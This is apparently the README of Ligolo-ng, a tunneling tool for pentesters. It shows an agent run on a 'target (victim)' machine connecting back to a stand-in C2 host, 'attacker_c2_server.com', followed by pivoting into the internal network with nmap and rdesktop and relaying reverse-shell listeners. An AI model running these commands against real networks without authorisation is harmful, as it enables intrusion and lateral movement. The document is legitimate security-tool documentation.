Ligolo-ng : Tunneling like a VPN

An advanced, yet simple, tunneling tool that uses a TUN interface.

by TNP IT Security

Table of Contents

• Introduction
• Features
• How is this different from Ligolo/Chisel/Meterpreter... ?
• Building & Usage
  • Precompiled binaries
  • Building Ligolo-ng
  • Setup Ligolo-ng
    • Linux
    • Windows
    • Running Ligolo-ng proxy server
  • TLS Options
    • Using Let's Encrypt Autocert
    • Using your own TLS certificates
    • Automatic self-signed certificates (NOT RECOMMENDED)
  • Agent Binding/Listening
• Demo
• Does it require Administrator/root access ?
• Supported protocols/packets
• Performance
• Caveats
• Todo
• Credits

Introduction

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.17 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                         │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo
   
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Implement proxy support for Darwin ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas.chatelain -at- tnpconsultants.com>